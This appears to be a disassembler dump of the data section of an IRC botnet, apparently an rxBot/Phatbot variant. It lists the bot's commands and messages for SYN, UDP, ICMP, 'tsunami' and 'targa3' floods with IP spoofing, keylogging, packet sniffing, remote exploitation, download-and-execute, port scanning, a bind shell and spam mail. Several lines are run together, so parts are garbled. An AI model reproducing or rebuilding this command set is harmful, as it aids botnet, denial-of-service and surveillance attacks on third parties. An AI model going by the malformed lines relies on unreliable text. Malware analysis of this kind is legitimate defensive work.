aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42BF58	db  2Dh	; -		; DATA XREF: sub_401B66+556Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42BF90	db  2Dh	; -		; DATA XREF: sub_401B66+54BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401B66+549Fo
		align 4
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401B66+5475o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_14	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401B66+541Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42C068	db  2Dh	; -		; DATA XREF: sub_401B66:loc_406EB2o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42C0A0	db  2Dh	; -		; DATA XREF: sub_401B66+5330o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401B66+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401B66+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401B66+52B5o
unk_42C11C	db  2Dh	; -		; DATA XREF: sub_401B66+5220o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401B66+5210o
					; sub_41444D+2FDo
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401B66+51F9o
					; sub_41444D+2DDo
aHcon		db 'hcon',0             ; DATA XREF: sub_401B66+5183o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401B66+5170o
unk_42C164	db  2Dh	; -		; DATA XREF: sub_401B66+5121o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401B66+50ADo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401B66+4FC2o
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401B66+4FABo
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401B66+4F94o
		align 4
aP:					; DATA XREF: sub_401B66+4F7Do
					; .packed:0043A8E0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401B66+4F66o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401B66+4F4Fo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401B66+4F38o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401B66+4F21o
aU:					; DATA XREF: sub_401B66+4F0Ao
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401B66+4EF3o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401B66+4EDCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401B66+4EC5o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401B66+4EAEo
aPsc		db 'psc',0              ; DATA XREF: sub_401B66+4E97o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401B66+4E80o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401B66+4E5Ao
aC_action	db 'c_action',0         ; DATA XREF: sub_401B66+4E43o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401B66+4E2Co
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401B66+4E15o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401B66+4DFEo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401B66+4DE7o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401B66+4DD0o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401B66+4DB9o
		align 10h
aD1909		db 'd1909',0            ; DATA XREF: sub_401B66+4DA2o
		align 4
aDownload909	db 'download909',0      ; DATA XREF: sub_401B66+4D8Bo
aWonk		db 'wonk',0             ; DATA XREF: sub_401B66+4D74o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401B66+4D5Do
		align 4
dword_42C2A8	dd 234032Dh, 73796B73h,	3026E79haFailedToSta_16	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42C2E4	dd 234032Dh, 73796B73h,	3026E79haFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401B66+4C5Fo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401B66+4C48o
					; sub_401B66+51E1o ...
aSynflood	db 'synflood',0         ; DATA XREF: sub_401B66+4C31o
		align 4
unk_42C32C	db  2Dh	; -		; DATA XREF: sub_401B66+4C0Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_17	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401B66+4B4Eo
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401B66+4B37o
					; sub_413133:loc_41325Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401B66+4B20o
					; sub_413133:loc_413243o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401B66+4B09o
					; sub_413133+F1o
		align 4
aC_0:					; DATA XREF: sub_401B66+4AF2o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401B66+4ADBo
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401B66+4AB2o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401B66+4A9Bo
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401B66+4A84o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401B66+4A6Do
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401B66+4A56o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401B66+4A3Fo
		align 4
aE:					; DATA XREF: sub_401B66+4A28o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401B66+4A11o
aUp909		db 'up909',0            ; DATA XREF: sub_401B66+49FAo
		align 4
aUpdate909	db 'update909',0        ; DATA XREF: sub_401B66+49E3o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401B66+49CCo
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401B66+49B5o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401B66+499Eo
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401B66+4987o
					; sub_401B66+6ADAo
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401B66+4970o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401B66+4959o
aT3		db 't3',0               ; DATA XREF: sub_401B66+4942o
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401B66+492Bo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401B66+4914o
aC_part		db 'c_part',0           ; DATA XREF: sub_401B66+48FDo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401B66+48E6o
aC_join		db 'c_join',0           ; DATA XREF: sub_401B66+48CFo
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401B66+48B8o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401B66+48A1o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401B66+488Ao
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401B66+4873o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401B66+485Co
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401B66+4845o
		align 4
aM:					; DATA XREF: sub_401B66+482Eo
					; .packed:0043A920o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401B66+4800o
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401B66+47E9o
		align 4
aA:					; DATA XREF: sub_401B66+47D2o
					; .packed:0043A8E4o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401B66+47BBo
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401B66+478Do
aAa		db 'aa',0               ; DATA XREF: sub_401B66+4776o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401B66+475Fo
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401B66+4748o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401B66+4731o
aGh		db 'gh',0               ; DATA XREF: sub_401B66+4708o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401B66+46F3o
aCap		db 'cap',0              ; DATA XREF: sub_401B66+46DEo
aCapture	db 'capture',0          ; DATA XREF: sub_401B66+46C9o
unk_42C4BC	db  2Dh	; -		; DATA XREF: sub_401B66:loc_406216o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42C4D8	db  2Dh	; -		; DATA XREF: sub_401B66:loc_40620Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401B66+4667o
					; sub_409A1D+5F0o
		align 4
unk_42C504	db  2Dh	; -		; DATA XREF: sub_401B66:loc_4061C3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42C524	db  2Dh	; -		; DATA XREF: sub_401B66+4656o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42C544	db  2Dh	; -		; DATA XREF: sub_401B66:loc_40612Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42C564	db  2Dh	; -		; DATA XREF: sub_401B66+45BFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401B66+4556o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_401B66+451Co
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401B66+44FFo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401B66+44E5o
		align 4
unk_42C5AC	db  2Dh	; -		; DATA XREF: sub_401B66:loc_40603Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42C5CC	db  2Dh	; -		; DATA XREF: sub_401B66+44CEo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401B66+4478o
		align 4
unk_42C5F8	db  2Dh	; -		; DATA XREF: sub_401B66+4446o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401B66+4422o
dword_42C634	dd 234032Dh, 6C79656Bh,	302676FhaFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 10h
dword_42C670	dd 234032Dh, 6C79656Bh,	302676FhaKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42C694	dd 234032Dh, 6C79656Bh,	302676FhaAlreadyRunning	db '- Already running.',0
		align 4
dword_42C6B4	dd 234032Dh, 6C79656Bh,	302676FhaNoKeyLoggerThr	db '- No key logger thread found.',0
		align 10h
dword_42C6E0	dd 234032Dh, 6C79656Bh,	302676FhaKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401B66+42BCo
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401B66+429Ao
		align 4
unk_42C72C	db  2Dh	; -		; DATA XREF: sub_401B66:loc_405DF5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
		align 10h
unk_42C760	db  2Dh	; -		; DATA XREF: sub_401B66+4285o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42C7A0	db  2Dh	; -		; DATA XREF: sub_401B66+4240o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42C7DC	db  2Dh	; -		; DATA XREF: sub_401B66+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42C80C	db  2Dh	; -		; DATA XREF: sub_401B66+4183o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401B66+414Co
dword_42C834	dd 234032Dh, 696E7370h,	3026666haNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 10h
dword_42C860	dd 234032Dh, 696E7370h,	3026666haCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42C89C	dd 234032Dh, 696E7370h,	3026666haFailedToSta_19	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42C8D8	dd 234032Dh, 696E7370h,	3026666haCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42C908	dd 234032Dh, 696E7370h,	3026666haAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401B66+4015o
					; sub_401B66+4163o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401B66+3FFEo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401B66+3FE9o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401B66+3FD4o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401B66+3FBFo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401B66+3FAAo
aMirc		db 'mirc',0             ; DATA XREF: sub_401B66+3F95o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401B66+3F80o
aV:					; DATA XREF: sub_401B66+3F6Bo
					; .packed:0043A914o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401B66+3F56o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401B66+3F41o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401B66+3F2Co
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401B66+3F17o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401B66+3EEDo
aDelete		db 'delete',0           ; DATA XREF: sub_401B66+3ED8o
					; sub_401B66+4539o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401B66+3EC3o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401B66+3EAEo
		align 10h
aKp		db 'kp',0               ; DATA XREF: sub_401B66+3E99o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401B66+3E84o
		align 10h
aDn		db 'dn',0               ; DATA XREF: sub_401B66+3E6Fo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401B66+3E5Ao
aSe		db 'se',0               ; DATA XREF: sub_401B66+3E45o
		align 4
aO:					; DATA XREF: sub_401B66+3E1Bo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401B66+3E06o
					; sub_401B66+5836o ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401B66+3DF1o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401B66+3DDCo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401B66+3DC7o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401B66+3DB2o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401B66+3D9Do
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401B66+3D88o
		align 4
aK:					; DATA XREF: sub_401B66+3D73o
					; .packed:0043A900o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401B66+3D5Eo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401B66+3D34o
aPt		db 'pt',0               ; DATA XREF: sub_401B66+3D1Fo
		align 4
aJ:					; DATA XREF: sub_401B66+3CF5o
					; .packed:0043A8FCo ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401B66+3CCBo
					; .packed:0043A91Co ...
		unicode	0, <n>,0
unk_42CA04	db  2Dh	; -		; DATA XREF: sub_401B66+3C97o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401B66+3C33o
aRegister	db 'register',0         ; DATA XREF: sub_401B66+3C0Ao
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401B66+3BB1o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401B66+3AE7o
dword_42CA64	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401B66+3A93o
					; sub_401B66+3ACAo
		dd 0
dword_42CA7C	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401B66+3A5Co
		dd 1
dword_42CA94	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401B66+3A25o
					; sub_401B66+3B39o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401B66+39D3o
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401B66+393Eo
					; sub_401B66+397Ao ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401B66+38E7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401B66+37FBo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401B66+37B5o
aNick_0		db 'nick',0             ; DATA XREF: sub_401B66+36B8o
					; sub_401B66+3CB6o
		align 4
dword_42CADC	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401B66+369Bo
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42CB04	dd 636364h	dword_42CB08	dd 6E696F6Ah, 7261702Fh, 74hdword_42CB14	dd 4B43494Eh, 732520h					; sub_401B66+3712o ...
dword_42CB1C	dd 69257325h, 0						; sub_40ABBD+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401B66+3462o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401B66+3445o
					; sub_401B66+352Eo ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401B66+341Eo
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401B66+3401o
aPart_0		db 'part',0             ; DATA XREF: sub_401B66+33DFo
					; sub_401B66+3D0Ao
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401B66+33C2o
					; sub_401B66+3505o ...
aJoin		db 'join',0             ; DATA XREF: sub_401B66+33A0o
					; sub_401B66+3CE0o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401B66+3383o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401B66+3337o
					; sub_401B66+4817o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401B66+331Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401B66+32CEo
		align 4
dword_42CB8C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401B66+32B1o
dword_42CBA0	dd 7463h	dword_42CBA4	dd 76697270h, 2067736Dh, 3A207325h, 7325h					; sub_401B66+3852o ...
dword_42CBB4	dd 5Fh							; sub_401B66+3285o ...
dword_42CBB8	dd 6D70h						; sub_401B66+47A4o
unk_42CBBC	db  2Dh	; -		; DATA XREF: sub_401B66+31CAo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401B66+3176o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401B66+314Do
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401B66+3136o
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401B66+3121o
aRin		db 'rin',0              ; DATA XREF: sub_401B66+310Co
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401B66+30F7o
		align 4
unk_42CC24	db  2Dh	; -		; DATA XREF: sub_401B66+30D7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42CC64	db  2Dh	; -		; DATA XREF: sub_401B66+307Bo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401B66+2FFEo
unk_42CC9C	db  2Dh	; -		; DATA XREF: sub_401B66+2FE0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42CCC8	db  2Dh	; -		; DATA XREF: sub_401B66+2FB6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401B66+2F7Eo
		align 4
unk_42CD08	db  2Dh	; -		; DATA XREF: sub_401B66+2F25o
					; sub_401B66+2F96o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401B66:loc_404A69o
					; sub_401B66+3F02o
unk_42CD44	db  2Dh	; -		; DATA XREF: sub_401B66+2E91o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 10h
unk_42CD70	db  2Dh	; -		; DATA XREF: sub_401B66+2E86o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42CD9C	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h, 0unk_42CDB0	db  2Dh	; -		; DATA XREF: sub_401B66:loc_40498Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_42CE60	dd 234032Dh, 75636573h,	3026572haFailedToSta_20	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42CE9C	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401B66+2D8Ao
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401B66+2D84o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401B66+2D7Do
		align 10h
unk_42CED0	db  2Dh	; -		; DATA XREF: sub_401B66+2CF1o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42CF10	db  2Dh	; -		; DATA XREF: sub_401B66+2C83o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42CF3C	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42CF78	dd 234032Dh, 6B636F73h,	3023473h					; sub_411833+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42CFA0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302hdword_42CFB0	dd 646E6946h, 6C696620h, 65hdword_42CFBC	dd 234032Dh, 636F7270h,	2D030273h, 0dword_42CFCC	dd 636F7250h, 20737365h, 7473696Ch, 0dword_42CFDC	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401B66+2A3Co
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_404595o
					; sub_401B66:loc_40969Co ...
		align 10h
dword_42D010	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401B66+2A1Ao
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_404573o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_40455Co
					; sub_401B66+7963o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+29E4o
		align 10h
unk_42D060	db  2Dh	; -		; DATA XREF: sub_401B66+2998o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42D08C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401B66+295Ao
		dd 2E7325h
unk_42D0A4	db  2Dh	; -		; DATA XREF: sub_401B66+2921o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_23	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_42D0E0	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401B66+28C8o
		dd 65726874h, 2E736461h, 0
dword_42D100	dd 627573h	dword_42D104	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401B66+2850o
		dd 2E7473h
unk_42D11C	db  2Dh	; -		; DATA XREF: sub_401B66+2820o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_24	db '- Failed to start listing thread, error: <%d>.',0
dword_42D154	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401B66+27A9o
		dd 2E676Fh
dword_42D16C	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401B66+2722o
		dd 6F666E49h, 2Eh
